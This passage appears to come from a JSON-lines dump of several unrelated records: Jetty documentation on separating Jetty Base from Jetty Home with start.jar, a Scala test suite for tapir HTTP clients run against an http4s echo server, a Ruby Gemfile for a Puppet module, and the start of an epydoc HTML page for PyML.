Ltd and others.\n//\n// This program and the accompanying materials are made available under\n// the terms of the Eclipse Public License 2.0 which is available at\n// https://www.eclipse.org/legal/epl-2.0\n//\n// This Source Code may also be made available under the following\n// Secondary Licenses when the conditions for such availability set\n// forth in the Eclipse Public License, v. 2.0 are satisfied:\n// the Apache License v2.0 which is available at\n// https://www.apache.org/licenses/LICENSE-2.0\n//\n// SPDX-License-Identifier: EPL-2.0 OR Apache-2.0\n// ========================================================================\n//\n\n[[startup-base-and-home]]\n=== Managing Jetty Base and Jetty Home\n\nInstead of managing multiple Jetty implementations out of several different distribution locations, it is possible to maintain a separation between the binary installation of the standalone Jetty (known as `${jetty.home}`), and the customizations for your specific environment(s) (known as `${jetty.base}`).\nIn addition to easy management of multiple server instances, is allows for quick, drop-in upgrades of Jetty.\nThere should always only be *one* Jetty Home (per version of Jetty), but there can be multiple Jetty Base directories that reference it.\n\nJetty Base::\n* Also known as the `${jetty.base}` property.\n* This is the location for your configurations and customizations to the Jetty distribution.\nJetty Home::\n* Also known as the `${jetty.home}` property.\n* This is the location for the Jetty distribution binaries, default XML IoC configurations, and default module definitions.\n\n____\n[IMPORTANT]\nJetty Home should always be treated as a standard of truth.\nAll configuration modifications, changes and additions should be made in the appropriate Jetty Base directory.\n____\n\n[[base-vs-home-resolution]]\n\nPotential configuration is resolved from these 2 directory locations.\nWhen Jetty starts up in processes configuration from them as follows:\n\nCheck Jetty Base First::\nIf the referenced configuration exists, relative to the defined Jetty base, it is used.\nCheck Jetty Home Second::\nIf the referenced configuration exists, relative to the defined Jetty home, it is used.\nUse java.io.File(String pathname) Logic::\nLastly, use the reference as a `java.io.File(String pathname)` reference, following the default resolution rules outlined by that constructor.In brief, the reference will be used as-is, be it relative (to current working directory, aka $\\{user.dir}) or absolute path, or even network reference (such as on Windows and use of UNC paths).\n\nFor more details on how startup with start.jar works, see link:#executing-startjar[Using start.jar: Executing]\n\n[[demo-base]]\n==== Demo-Base in the Jetty Distribution\n\nThe Jetty Distribution comes with an example `${jetty.base}` which enables the various demonstration webapps and server configurations.\n\n[source, screen, subs=\"{sub-order}\"]\n....\n[jetty-distribution-{VERSION}]$ ls -la\n\ntotal 496\ndrwxrwxr-x 11 user group 4096 Oct 8 15:23 ./\ndrwxr-xr-x 14 user group 4096 Oct 8 13:04 ../\ndrwxrwxr-x 2 user group 4096 Oct 8 06:54 bin/\ndrwxrwxr-x 6 user group 4096 Oct 8 06:54 demo-base/\ndrwxrwxr-x 2 user group 4096 Oct 11 15:14 etc/\ndrwxrwxr-x 11 user group 4096 Oct 8 06:54 lib/\n-rw-rw-r-- 1 user group 30012 Sep 30 19:55 license-eplv10-aslv20.html\ndrwxrwxr-x 2 user group 4096 Oct 8 06:54 logs/\ndrwxrwxr-x 2 user group 4096 Oct 8 06:54 modules/\n-rw-rw-r-- 1 user group 6262 Sep 30 19:55 notice.html\n-rw-rw-r-- 1 user group 1249 Sep 30 19:55 README.TXT\ndrwxrwxr-x 2 user group 4096 Oct 8 06:54 resources/\ndrwxrwxr-x 2 user group 4096 Oct 8 06:54 start.d/\n-rw-rw-r-- 1 user group 1780 Sep 30 19:55 start.ini\n-rw-rw-r-- 1 user group 71921 Sep 30 19:55 start.jar\n-rw-rw-r-- 1 user group 336468 Sep 30 19:55 VERSION.txt\ndrwxrwxr-x 2 user group 4096 Oct 8 06:54 webapps/\n\n[jetty-distribution-{VERSION}]$ cd demo-base\n[my-base]$ java -jar /path/to/jetty-home/start.jar\n\n2013-10-16 09:08:47.800:WARN::main: demo test-realm is deployed. DO NOT USE IN PRODUCTION!\n2013-10-16 09:08:47.802:INFO:oejs.Server:main: jetty-{VERSION}\n2013-10-16 09:08:47.817:INFO:oejdp.ScanningAppProvider:main: Deployment monitor [file:/home/user/jetty-distribution-{VERSION}/demo-base/webapps/] at interval 1\n2013-10-16 09:08:48.072:WARN::main: async-rest webapp is deployed. DO NOT USE IN PRODUCTION!\n...\n....\n\nIf you want to see what the Jetty base looks like without executing Jetty, you can simply list the configuration by using the `--list-config` command.\n\n[source,screen,subs=\"{sub-order}\"]\n....\n[my-base]$ java -jar /path/to/jetty-home/start.jar --list-config\n\nJava Environment:\n-----------------\n java.home=/usr/lib/jvm/jdk-7u21-x64/jre\n java.vm.vendor = Oracle Corporation\n java.vm.version = 25.92-b14\n java.vm.name = Java HotSpot(TM) 64-Bit Server VM\n java.vm.info = mixed mode\n java.runtime.name = Java(TM) SE Runtime Environment\n java.runtime.version = 1.8.0_92-b14\n java.io.tmpdir = /var/folders/h6/yb_lbnnn11g0y1jjlvqg631h0000gn/T/\n user.dir = /home/user/jetty-distribution-{VERSION}\n user.language = en\n user.country = US\n\nJetty Environment:\n-----------------\n jetty.home=/home/user/jetty-distribution-{VERSION}\n jetty.tag.version = master\n jetty.base=/home/user/jetty-distribution-{VERSION}/demo-base\n jetty.version={VERSION}\n\n Config Search Order:\n --------------------\n <command-line>\n ${jetty.base} -> /home/user/jetty-distribution-{VERSION}/demo-base\n ${jetty.home} -> /home/user/Desktop/jetty-distribution-{VERSION}\n\nJVM Arguments:\n--------------\n (no jvm args specified)\n\nSystem Properties:\n------------------\n jetty.base = /home/user/jetty-distribution-{VERSION}/demo-base\n jetty.home = /home/user/jetty-distribution-{VERSION}\n\nProperties:\n-----------\n demo.realm = etc/realm.properties\n https.port = 8443\n https.timeout = 30000\n jaas.login.conf = etc/login.conf\n jetty.dump.start = false\n jetty.dump.stop = false\n jetty.keymanager.password = OBF:1u2u1wml1z7s1z7a1wnl1u2g\n jetty.keystore = etc/keystore\n jetty.keystore.password = OBF:1vny1zlo1x8e1vnw1vn61x8g1zlu1vn4\n jetty.http.port = 8080\n jetty.secure.port = 8443\n jetty.truststore = etc/keystore\n jetty.truststore.password = OBF:1vny1zlo1x8e1vnw1vn61x8g1zlu1vn4\n org.eclipse.jetty.websocket.javax = false\n threads.max = 200\n threads.min = 10\n threads.timeout = 60000\n\nJetty Server Classpath:\n-----------------------\nVersion Information on 42 entries in the classpath.\nNote: order presented here is how they would appear on the classpath.\n changes to the --module=name command line options will be reflected here.\n 0: {VERSION} | ${jetty.home}/lib/jetty-client-{VERSION}.jar\n 1: 1.4.1.v201005082020 | ${jetty.base}/lib/ext/javax.mail.glassfish-1.4.1.v201005082020.jar\n 2: {VERSION} | ${jetty.base}/lib/ext/test-mock-resources-{VERSION}.jar\n 3: (dir) | ${jetty.home}/resources\n 4: 3.1.0 | ${jetty.home}/lib/jetty-servlet-api-4.0.2.jar\n 6: {VERSION} | ${jetty.home}/lib/jetty-http-{VERSION}.jar\n 7: {VERSION} | ${jetty.home}/lib/jetty-continuation-{VERSION}.jar\n 8: {VERSION} | ${jetty.home}/lib/jetty-server-{VERSION}.jar\n 9: {VERSION} | ${jetty.home}/lib/jetty-xml-{VERSION}.jar\n10: {VERSION} | ${jetty.home}/lib/jetty-util-{VERSION}.jar\n11: {VERSION} | ${jetty.home}/lib/jetty-io-{VERSION}.jar\n12: {VERSION} | ${jetty.home}/lib/jetty-jaas-{VERSION}.jar\n13: {VERSION} | ${jetty.home}/lib/jetty-jndi-{VERSION}.jar\n14: 1.1.0.v201105071233 | ${jetty.home}/lib/jndi/javax.activation-1.1.0.v201105071233.jar\n15: 1.4.1.v201005082020 | ${jetty.home}/lib/jndi/javax.mail.glassfish-1.4.1.v201005082020.jar\n16: 1.3 | ${jetty.home}/lib/jndi/javax.transaction-api-1.3.jar\n17: {VERSION} | ${jetty.home}/lib/jetty-rewrite-{VERSION}.jar\n18: {VERSION} | ${jetty.home}/lib/jetty-security-{VERSION}.jar\n19: {VERSION} | ${jetty.home}/lib/jetty-servlet-{VERSION}.jar\n20: 3.0.0 | ${jetty.home}/lib/jsp/javax.el-3.0.0.jar\n21: 1.2.0.v201105211821 | ${jetty.home}/lib/jsp/javax.servlet.jsp.jstl-1.2.0.v201105211821.jar\n22: 2.3.2 | ${jetty.home}/lib/jsp/javax.servlet.jsp-2.3.2.jar\n23: 2.3.1 | ${jetty.home}/lib/jsp/javax.servlet.jsp-api-2.3.1.jar\n24: 2.3.3 | ${jetty.home}/lib/jsp/jetty-jsp-jdt-2.3.3.jar\n25: 1.2.0.v201112081803 | ${jetty.home}/lib/jsp/org.apache.taglibs.standard.glassfish-1.2.0.v201112081803.jar\n26: 3.8.2.v20130121-145325 | ${jetty.home}/lib/jsp/org.eclipse.jdt.core-3.8.2.v20130121.jar\n27: {VERSION} | ${jetty.home}/lib/jetty-plus-{VERSION}.jar\n28: {VERSION} | ${jetty.home}/lib/jetty-webapp-{VERSION}.jar\n29: {VERSION} | ${jetty.home}/lib/jetty-annotations-{VERSION}.jar\n30: 4.1 | ${jetty.home}/lib/annotations/asm-4.1.jar\n31: 4.1 | ${jetty.home}/lib/annotations/asm-commons-4.1.jar\n32: 1.2 | ${jetty.home}/lib/annotations/javax.annotation-api-1.2.jar\n33: {VERSION} | ${jetty.home}/lib/jetty-deploy-{VERSION}.jar\n34: 1.0 | ${jetty.home}/lib/websocket/javax.websocket-api-1.0.jar\n35: {VERSION} | ${jetty.home}/lib/websocket/websocket-javax-client-{VERSION}.jar\n36: {VERSION} | ${jetty.home}/lib/websocket/websocket-javax-server-{VERSION}.jar\n37: {VERSION} | ${jetty.home}/lib/websocket/websocket-api-{VERSION}.jar\n38: {VERSION} | ${jetty.home}/lib/websocket/websocket-client-{VERSION}.jar\n39: {VERSION} | ${jetty.home}/lib/websocket/websocket-common-{VERSION}.jar\n40: {VERSION} | ${jetty.home}/lib/websocket/websocket-server-{VERSION}.jar\n41: {VERSION} | ${jetty.home}/lib/websocket/websocket-servlet-{VERSION}.jar\n\nJetty Active XMLs:\n------------------\n ${jetty.home}/etc/jetty.xml\n ${jetty.home}/etc/jetty-webapp.xml\n ${jetty.home}/etc/jetty-plus.xml\n ${jetty.home}/etc/jetty-annotations.xml\n ${jetty.home}/etc/jetty-deploy.xml\n ${jetty.home}/etc/jetty-http.xml\n ${jetty.home}/etc/jetty-ssl.xml\n ${jetty.home}/etc/jetty-ssl-context.xml\n ${jetty.home}/etc/jetty-https.xml\n ${jetty.home}/etc/jetty-jaas.xml\n ${jetty.home}/etc/jetty-rewrite.xml\n ${jetty.base}/etc/demo-rewrite-rules.xml\n ${jetty.base}/etc/test-realm.xml\n....\n\nThe `--list-config` command line option displays what the configuration will look like when starting Jetty.\nThis includes information on the Java environment to the system properties, the classpath and the Active Jetty IoC XML used to build up the Jetty server configuration.\n\nOf note, is that the output will make it known where the configuration elements came from, be it in either in `${jetty.home}` or `${jetty.base}`.\n\nIf you look at the `${jetty.base}/start.ini` you will see a layout similar to below.\n\n[source, screen, subs=\"{sub-order}\"]\n....\n[my-base]$ cat start.ini\n\n# Enable security via jaas, and configure it\n--module=jaas\njaas.login.conf=etc/login.conf\n\n# Enable rewrite examples\n--module=rewrite\netc/demo-rewrite-rules.xml\n\n# Websocket chat examples needs websocket enabled\n# Don't start for all contexts (set to true in test.xml context)\norg.eclipse.jetty.websocket.javax=false\n--module=websocket\n\n# Create and configure the test realm\netc/test-realm.xml\ndemo.realm=etc/realm.properties\n\n# Initialize module server\n--module=server\nthreads.min=10\nthreads.max=200\nthreads.timeout=60000\njetty.dump.start=false\njetty.dump.stop=false\n\n--module=deploy\n--module=jsp\n--module=ext\n--module=resources\n--module=client\n--module=annotations\n....\n\nIn this example, `${jetty.base}/start.ini` is the main startup configuration entry point for Jetty.\nYou will see that we are enabling a few modules for Jetty, specifying some properties, and also referencing some Jetty IoC XML files (namely the `etc/demo-rewrite-rules.xml` and `etc/test-realm.xml` files)\n\nWhen Jetty's `start.jar` resolves the entries in the `start.ini`, it will follow the link:#base-vs-home-resolution[resolution rules above].\n\nFor example, the reference to `etc/demo-rewrite-rules.xml` was found in `${jetty.base}/etc/demo-rewrite-rules.xml`.\n\n==== Declaring Jetty Base\n\nThe Jetty distribution's `start.jar` is the component that manages the behavior of this separation.\n\nThe Jetty `start.jar` and XML files always assume that both `${jetty.home}` and `${jetty.base}` are defined when starting Jetty.\n\nYou can opt to manually define the `${jetty.home}` and `${jetty.base}` directories, such as this:\n\n[source, screen, subs=\"{sub-order}\"]\n....\n[jetty-distribution-{VERSION}]$ pwd\n/home/user/jetty-distribution-{VERSION}\n\n[jetty-distribution-{VERSION}]$ java -jar start.jar \\\n jetty.home=/home/user/jetty-distribution-{VERSION} \\\n jetty.base=/home/user/my-base\n\n2013-10-16 09:08:47.802:INFO:oejs.Server:main: jetty-{VERSION}\n2013-10-16 09:08:47.817:INFO:oejdp.ScanningAppProvider:main: Deployment monitor [file:/home/user/my-base/webapps/] at interval 1\n...\n....\n\nAlternately, you can declare one directory and let the other one be discovered.\n\nThe following example uses default discovery of `${jetty.home}` by using the parent directory of wherever `start.jar` itself is, and a manual declaration of `${jetty.base}`.\n\n[source, screen, subs=\"{sub-order}\"]\n....\n[jetty-distribution-{VERSION}]$ pwd\n/home/user/jetty-distribution-{VERSION}\n\n[jetty-distribution-{VERSION}]$ java -jar start.jar jetty.base=/home/user/my-base\n\n2013-10-16 09:08:47.802:INFO:oejs.Server:main: jetty-{VERSION}\n2013-10-16 09:08:47.817:INFO:oejdp.ScanningAppProvider:main: Deployment monitor [file:/home/user/my-base/webapps/] at interval 1\n...\n....\n\nBut Jetty recommends that you always start Jetty from the directory that is your `${jetty.base}` and starting Jetty by referencing\nthe `start.jar` in your `{$jetty.home}` remotely.\n\nThe following demonstrates this by allowing default discovery of `${jetty.home}` via locating the `start.jar`, and using the `user.dir` System Property for `${jetty.base}`.\n\n[source,screen,subs=\"{sub-order}\"]\n....\n[jetty-distribution-{VERSION}]$ pwd\n/home/user/jetty-distribution-{VERSION}\n\n[jetty-distribution-{VERSION}]$ cd /home/user/my-base\n[my-base]$ java -jar /path/to/jetty-home/start.jar\n\n2013-10-16 09:08:47.802:INFO:oejs.Server:main: jetty-{VERSION}\n2013-10-16 09:08:47.817:INFO:oejdp.ScanningAppProvider:main: Deployment monitor [file:/home/user/my-base/webapps/] at interval 1\n...\n....\n\n____\n[IMPORTANT]\nBe aware of the `user.dir` system property, as it can only be safely set when the JVM starts and many 3rd party libraries (especially logging) use this system property.\nIt is strongly recommended that you sit in the directory that is your desired `${jetty.base}` when starting Jetty to have consistent behavior and use of the `user.dir` system property.\n____\n"} {"text": "package sttp.tapir.client.tests\n\nimport java.io.{ByteArrayInputStream, File, InputStream}\nimport java.nio.ByteBuffer\n\nimport cats.effect._\nimport cats.effect.concurrent.Ref\nimport cats.implicits._\nimport fs2.concurrent.SignallingRef\nimport org.http4s._\nimport org.http4s.dsl.io._\nimport org.http4s.server.Router\nimport org.http4s.server.blaze.BlazeServerBuilder\nimport org.http4s.syntax.kleisli._\nimport org.http4s.util.CaseInsensitiveString\nimport org.scalatest.BeforeAndAfterAll\nimport org.scalatest.funsuite.AnyFunSuite\nimport org.scalatest.matchers.should.Matchers\nimport sttp.tapir.{DecodeResult, _}\nimport sttp.tapir.tests._\nimport TestUtil._\nimport org.http4s.multipart\nimport sttp.capabilities.Streams\nimport sttp.model.{QueryParams, StatusCode}\nimport sttp.tapir.model.UsernamePassword\n\nimport scala.concurrent.duration._\nimport scala.concurrent.{Await, ExecutionContext, Future}\n\nabstract class ClientTests[S <: Streams[S]](val streams: S) extends AnyFunSuite with Matchers with BeforeAndAfterAll {\n private val logger = org.log4s.getLogger\n\n implicit private val ec: ExecutionContext = scala.concurrent.ExecutionContext.Implicits.global\n implicit private val contextShift: ContextShift[IO] = IO.contextShift(ec)\n implicit private val timer: Timer[IO] = IO.timer(ec)\n\n private val testFile = writeToFile(\"pen pineapple apple pen\")\n\n testClient(endpoint, (), Right(()))\n testClient(in_query_out_string, \"apple\", Right(\"fruit: apple\"))\n testClient(in_query_query_out_string, (\"apple\", Some(10)), Right(\"fruit: apple 10\"))\n testClient(in_header_out_string, \"Admin\", Right(\"Role: Admin\"))\n testClient(in_path_path_out_string, (\"apple\", 10), Right(\"apple 10 None\"))\n testClient(in_string_out_string, \"delicious\", Right(\"delicious\"))\n testClient(in_mapped_query_out_string, \"apple\".toList, Right(\"fruit: apple\"))\n testClient(in_mapped_path_out_string, Fruit(\"kiwi\"), Right(\"kiwi\"))\n testClient(in_mapped_path_path_out_string, FruitAmount(\"apple\", 10), Right(\"apple 10 None\"))\n testClient(in_query_mapped_path_path_out_string, (FruitAmount(\"apple\", 10), \"red\"), Right(\"apple 10 Some(red)\"))\n testClient(in_query_out_mapped_string, \"apple\", Right(\"fruit: apple\".toList))\n testClient(in_query_out_mapped_string_header, \"apple\", Right(FruitAmount(\"fruit: apple\", 5)))\n testClient(in_json_out_json, FruitAmount(\"orange\", 11), Right(FruitAmount(\"orange\", 11)))\n testClient(in_byte_array_out_byte_array, \"banana kiwi\".getBytes(), Right(\"banana kiwi\".getBytes()))\n testClient(in_byte_buffer_out_byte_buffer, ByteBuffer.wrap(\"mango\".getBytes), Right(ByteBuffer.wrap(\"mango\".getBytes)))\n testClient(\n in_input_stream_out_input_stream,\n new ByteArrayInputStream(\"mango\".getBytes),\n Right(new ByteArrayInputStream(\"mango\".getBytes))\n )\n testClient(in_file_out_file, testFile, Right(testFile))\n testClient(in_form_out_form, FruitAmount(\"plum\", 10), Right(FruitAmount(\"plum\", 10)))\n testClient(\n in_query_params_out_string,\n QueryParams.fromMap(Map(\"name\" -> \"apple\", \"weight\" -> \"42\", \"kind\" -> \"very good\")),\n Right(\"kind=very good&name=apple&weight=42\")\n )\n testClient(in_paths_out_string, List(\"fruit\", \"apple\", \"amount\", \"50\"), Right(\"apple 50 None\"))\n testClient(in_query_list_out_header_list, List(\"plum\", \"watermelon\", \"apple\"), Right(List(\"apple\", \"watermelon\", \"plum\")))\n testClient(in_simple_multipart_out_string, FruitAmount(\"melon\", 10), Right(\"melon=10\"))\n testClient(in_cookie_cookie_out_header, (23, \"pomegranate\"), Right(List(\"etanargemop=2c ;32=1c\")))\n // TODO: test root path\n testClient(in_auth_apikey_header_out_string, \"1234\", Right(\"Authorization=None; X-Api-Key=Some(1234); Query=None\"))\n testClient(in_auth_apikey_query_out_string, \"1234\", Right(\"Authorization=None; X-Api-Key=None; Query=Some(1234)\"))\n testClient(\n in_auth_basic_out_string,\n UsernamePassword(\"teddy\", Some(\"bear\")),\n Right(\"Authorization=Some(Basic dGVkZHk6YmVhcg==); X-Api-Key=None; Query=None\")\n )\n testClient(in_auth_bearer_out_string, \"1234\", Right(\"Authorization=Some(Bearer 1234); X-Api-Key=None; Query=None\"))\n testClient(in_string_out_status_from_string.name(\"status one of 1\"), \"apple\", Right(Right(\"fruit: apple\")))\n testClient(in_string_out_status_from_string.name(\"status one of 2\"), \"papaya\", Right(Left(29)))\n testClient(in_int_out_value_form_exact_match.name(\"first exact status of 2\"), 1, Right(\"B\"))\n testClient(in_int_out_value_form_exact_match.name(\"second exact status of 2\"), 2, Right(\"A\"))\n testClient(in_string_out_status, \"apple\", Right(StatusCode.Ok))\n\n testClient(delete_endpoint, (), Right(()))\n\n testClient(in_optional_json_out_optional_json.name(\"defined\"), Some(FruitAmount(\"orange\", 11)), Right(Some(FruitAmount(\"orange\", 11))))\n testClient(in_optional_json_out_optional_json.name(\"empty\"), None, Right(None))\n\n testClient(\n in_4query_out_4header_extended.in(\"api\" / \"echo\" / \"param-to-upper-header\"),\n ((\"1\", \"2\"), \"3\", \"4\"),\n Right(((\"1\", \"2\"), \"3\", \"4\"))\n )\n\n //\n\n test(in_headers_out_headers.showDetail) {\n send(\n in_headers_out_headers,\n port,\n List(sttp.model.Header(\"X-Fruit\", \"apple\"), sttp.model.Header(\"Y-Fruit\", \"Orange\"))\n ).unsafeRunSync().right.get should contain allOf (sttp.model.Header(\"X-Fruit\", \"elppa\"), sttp.model.Header(\"Y-Fruit\", \"egnarO\"))\n }\n\n test(in_json_out_headers.showDetail) {\n send(in_json_out_headers, port, FruitAmount(\"apple\", 10))\n .unsafeRunSync()\n .right\n .get should contain(sttp.model.Header(\"Content-Type\", \"application/json\".reverse))\n }\n\n testClient[Unit, Unit, Unit, Nothing](in_unit_out_json_unit, (), Right(()))\n\n test(in_simple_multipart_out_raw_string.showDetail) {\n val result = send(in_simple_multipart_out_raw_string, port, FruitAmountWrapper(FruitAmount(\"apple\", 10), \"Now!\"))\n .unsafeRunSync()\n .right\n .get\n\n val indexOfJson = result.indexOf(\"{\\\"fruit\")\n val beforeJson = result.substring(0, indexOfJson)\n val afterJson = result.substring(indexOfJson)\n\n beforeJson should include(\"\"\"Content-Disposition: form-data; name=\"fruitAmount\"\"\"\")\n beforeJson should include(\"Content-Type: application/json\")\n beforeJson should not include (\"Content-Type: text/plain\")\n\n afterJson should include(\"\"\"Content-Disposition: form-data; name=\"notes\"\"\"\")\n afterJson should include(\"Content-Type: text/plain; charset=UTF-8\")\n afterJson should not include (\"Content-Type: application/json\")\n }\n\n test(in_fixed_header_out_string.showDetail) {\n send(in_fixed_header_out_string, port, ())\n .unsafeRunSync() shouldBe Right(\"Location: secret\")\n }\n\n //\n\n def mkStream(s: String): streams.BinaryStream\n def rmStream(s: streams.BinaryStream): String\n\n test(in_stream_out_stream(streams).showDetail) {\n rmStream(\n send(in_stream_out_stream(streams), port, mkStream(\"mango cranberry\"))\n .unsafeRunSync()\n .right\n .get\n ) shouldBe \"mango cranberry\"\n }\n\n test(\"not existing endpoint, with error output not matching 404\") {\n safeSend(not_existing_endpoint, port, ()).unsafeRunSync() should matchPattern {\n case DecodeResult.Error(_, _: IllegalArgumentException) =>\n }\n }\n\n //\n\n private object numParam extends QueryParamDecoderMatcher[Int](\"num\")\n private object fruitParam extends QueryParamDecoderMatcher[String](\"fruit\")\n private object amountOptParam extends OptionalQueryParamDecoderMatcher[String](\"amount\")\n private object colorOptParam extends OptionalQueryParamDecoderMatcher[String](\"color\")\n private object apiKeyOptParam extends OptionalQueryParamDecoderMatcher[String](\"api-key\")\n\n private val service = HttpRoutes.of[IO] {\n case GET -> Root :? fruitParam(f) +& amountOptParam(amount) =>\n if (f == \"papaya\") {\n Accepted(\"29\")\n } else {\n Ok(s\"fruit: $f${amount.map(\" \" + _).getOrElse(\"\")}\", Header(\"X-Role\", f.length.toString))\n }\n case GET -> Root / \"fruit\" / f => Ok(s\"$f\")\n case GET -> Root / \"fruit\" / f / \"amount\" / amount :? colorOptParam(c) => Ok(s\"$f $amount $c\")\n case r @ GET -> Root / \"api\" / \"unit\" => Ok(\"{}\")\n case r @ GET -> Root / \"api\" / \"echo\" / \"params\" => Ok(r.uri.query.params.toSeq.sortBy(_._1).map(p => s\"${p._1}=${p._2}\").mkString(\"&\"))\n case r @ GET -> Root / \"api\" / \"echo\" / \"headers\" =>\n val headers = r.headers.toList.map(h => Header(h.name.value, h.value.reverse))\n val filteredHeaders = r.headers.find(_.name.value == \"Cookie\") match {\n case Some(c) => headers.filter(_.name.value == \"Cookie\") :+ Header(\"Set-Cookie\", c.value.reverse)\n case None => headers\n }\n Ok(headers = filteredHeaders: _*)\n case r @ GET -> Root / \"api\" / \"echo\" / \"param-to-header\" =>\n Ok(headers = r.uri.multiParams.getOrElse(\"qq\", Nil).reverse.map(v => Header(\"hh\", v)): _*)\n case r @ GET -> Root / \"api\" / \"echo\" / \"param-to-upper-header\" =>\n Ok(headers = r.uri.multiParams.map { case (k, v) => Header(k.toUpperCase(), v.headOption.getOrElse(\"?\")) }.toSeq: _*)\n case r @ POST -> Root / \"api\" / \"echo\" / \"multipart\" =>\n r.decode[multipart.Multipart[IO]] { mp =>\n val parts: Vector[multipart.Part[IO]] = mp.parts\n def toString(s: fs2.Stream[IO, Byte]): IO[String] = s.through(fs2.text.utf8Decode).compile.foldMonoid\n def partToString(name: String): IO[String] = parts.find(_.name.contains(name)).map(p => toString(p.body)).getOrElse(IO.pure(\"\"))\n partToString(\"fruit\").product(partToString(\"amount\")).flatMap { case (fruit, amount) =>\n Ok(s\"$fruit=$amount\")\n }\n }\n case r @ POST -> Root / \"api\" / \"echo\" => r.as[String].flatMap(Ok(_))\n case r @ GET -> Root =>\n r.headers.get(CaseInsensitiveString(\"X-Role\")) match {\n case None => Ok()\n case Some(h) => Ok(\"Role: \" + h.value)\n }\n\n case r @ GET -> Root / \"secret\" =>\n r.headers.get(CaseInsensitiveString(\"Location\")) match {\n case None => BadRequest()\n case Some(h) => Ok(\"Location: \" + h.value)\n }\n\n case DELETE -> Root / \"api\" / \"delete\" => Ok()\n\n case r @ GET -> Root / \"auth\" :? apiKeyOptParam(ak) =>\n val authHeader = r.headers.get(CaseInsensitiveString(\"Authorization\")).map(_.value)\n val xApiKey = r.headers.get(CaseInsensitiveString(\"X-Api-Key\")).map(_.value)\n Ok(s\"Authorization=$authHeader; X-Api-Key=$xApiKey; Query=$ak\")\n\n case GET -> Root / \"mapping\" :? numParam(v) =>\n if (v % 2 == 0) Accepted(\"A\") else Ok(\"B\")\n }\n\n private val app: HttpApp[IO] = Router(\"/\" -> service).orNotFound\n\n //\n\n type Port = Int\n\n def send[I, E, O, FN[_]](e: Endpoint[I, E, O, S], port: Port, args: I): IO[Either[E, O]]\n def safeSend[I, E, O, FN[_]](e: Endpoint[I, E, O, S], port: Port, args: I): IO[DecodeResult[Either[E, O]]]\n\n def testClient[I, E, O, FN[_]](e: Endpoint[I, E, O, S], args: I, expectedResult: Either[E, O]): Unit = {\n test(e.showDetail) {\n // adjust test result values to a form that is comparable by scalatest\n def adjust(r: Either[Any, Any]): Either[Any, Any] = {\n def doAdjust(v: Any) =\n v match {\n case is: InputStream => inputStreamToByteArray(is).toList\n case a: Array[Byte] => a.toList\n case f: File => readFromFile(f)\n case _ => v\n }\n\n r.map(doAdjust).left.map(doAdjust)\n }\n\n adjust(send(e, port, args).unsafeRunSync()) shouldBe adjust(expectedResult)\n }\n }\n\n private var port: Port = _\n private var exitSignal: SignallingRef[IO, Boolean] = _\n private var serverExitCode: Future[Option[ExitCode]] = _\n\n override protected def beforeAll(): Unit = {\n super.beforeAll()\n port = portCounter.next()\n\n exitSignal = SignallingRef.apply[IO, Boolean](false).unsafeRunSync()\n\n serverExitCode = BlazeServerBuilder[IO](ec)\n .bindHttp(port)\n .withHttpApp(app)\n .serveWhile(exitSignal, Ref.unsafe(ExitCode.Success))\n .compile\n .last\n .unsafeToFuture()\n }\n\n override protected def afterAll(): Unit = {\n super.afterAll()\n\n val status = for {\n _ <- exitSignal.set(true).unsafeToFuture()\n exitCode <- serverExitCode\n } yield exitCode\n\n logger.debug(s\"Server exited with code: ${Await.result(status, 5.seconds)}\")\n }\n\n //\n\n lazy val portCounter: PortCounter = new PortCounter(41000)\n}\n"} {"text": "source :rubygems\n\ngroup :development do\n gem 'watchr'\n gem 'pry'\nend\n\ngroup :development, :test do\n gem 'rake'\n gem 'rspec', \"~> 2.11.0\", :require => false\n gem 'mocha', \"~> 0.10.5\", :require => false\n gem 'puppetlabs_spec_helper', :require => false\n gem 'rspec-puppet', :require => false\nend\n\ngem 'fog', :require => false\ngem 'guid', :require => false\ngem 'google-api-client', \"~> 0.8.7\", :require => false\n\nif puppetversion = ENV['PUPPET_GEM_VERSION']\n gem 'puppet', puppetversion, :require => false\nelse\n gem 'puppet', :require => false\nend\n\n# vim:ft=ruby\n"} {"text": "<?xml version=\"1.0\" encoding=\"ascii\"?>\n<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\"\n \"DTD/xhtml1-transitional.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\" lang=\"en\">\n<head>\n <title>PyML.classifiers.modelSelection.ParamGrid</title>\n <link rel=\"stylesheet\" href=\"epydoc.css\" type=\"text/css\" />\n <script type=\"text/javascript\" src=\"epydoc.js\"></script>\n</head>\n\n<body bgcolor=\"white\" text=\"black\" link=\"blue\" vlink=\"#204080\"\n alink=\"#204080\">\n<!-- ==================== NAVIGATION BAR ==================== -->\n<table class=\"navbar\" border=\"0\" width=\"100%\" cellpadding=\"0\"\n bgcolor=\"#a0c0ff\" cellspacing=\"0\">\n <tr valign=\"middle\">\n\n <!-- Tree link -->\n <th>&nbsp;&nbsp;&nbsp;<a\n href=\"module-tree.html\">Trees</a>&nbsp;&nbsp;&nbsp;</th>\n\n <!-- Index link -->\n <th>&nbsp;&nbsp;&nbsp;<a\n href=\"identifier-index.html\">Indices</a>&nbsp;&nbsp;&nbsp;</th>\n\n <!-- Help link -->\n <th>&nbsp;&nbsp;&nbsp;<a\n href=\"help.html\">Help</a>&nbsp;&nbsp;&nbsp;</th>\n\n <!-- Project homepage -->\n <th class=\"navbar\" align=\"right\" width=\"100%\">\n <table border=\"0\" cellpadding=\"0\" cellspacing=\"0\">\n <tr><th class=\"navbar\" align=\"center\"\n ><a class=\"navbar\" target=\"_top\" href=\"http://pyml.sourceforge.net\">PyML</a></th>\n </tr></table></th>\n </tr>\n</table>\n<table width=\"100%\" cellpadding=\"0\" cellspacing=\"0\">\n <tr valign=\"top\">\n <td width=\"100%\">\n <span class=\"breadcrumbs\">\n PyML ::\n classifiers ::\n modelSelection ::\n ParamGrid ::\n Class&nbsp;ParamGrid\n </span>\n </td>\n <td>\n <table cellpadding=\"0\" cellspacing=\"0\">\n <!-- hide/show private -->\n <tr><td align=\"right\"><span class=\"options\"\n >[<a href=\"frames.html\" target=\"_top\">frames</a\n >]&nbsp;|&nbsp;<a href=\"PyML.classifiers.modelSelection.ParamGrid-class.html\"\n target=\"_top\">no&nbsp;frames</a>]</span></td></tr>\n </table>\n </td>\n </tr>\n</table>\n<!-- ==================== CLASS DESCRIPTION ==================== -->\n<h1 class=\"epydoc\">Class ParamGrid</h1><p class=\"nomargin-top\"><span class=\"codelink\"><a 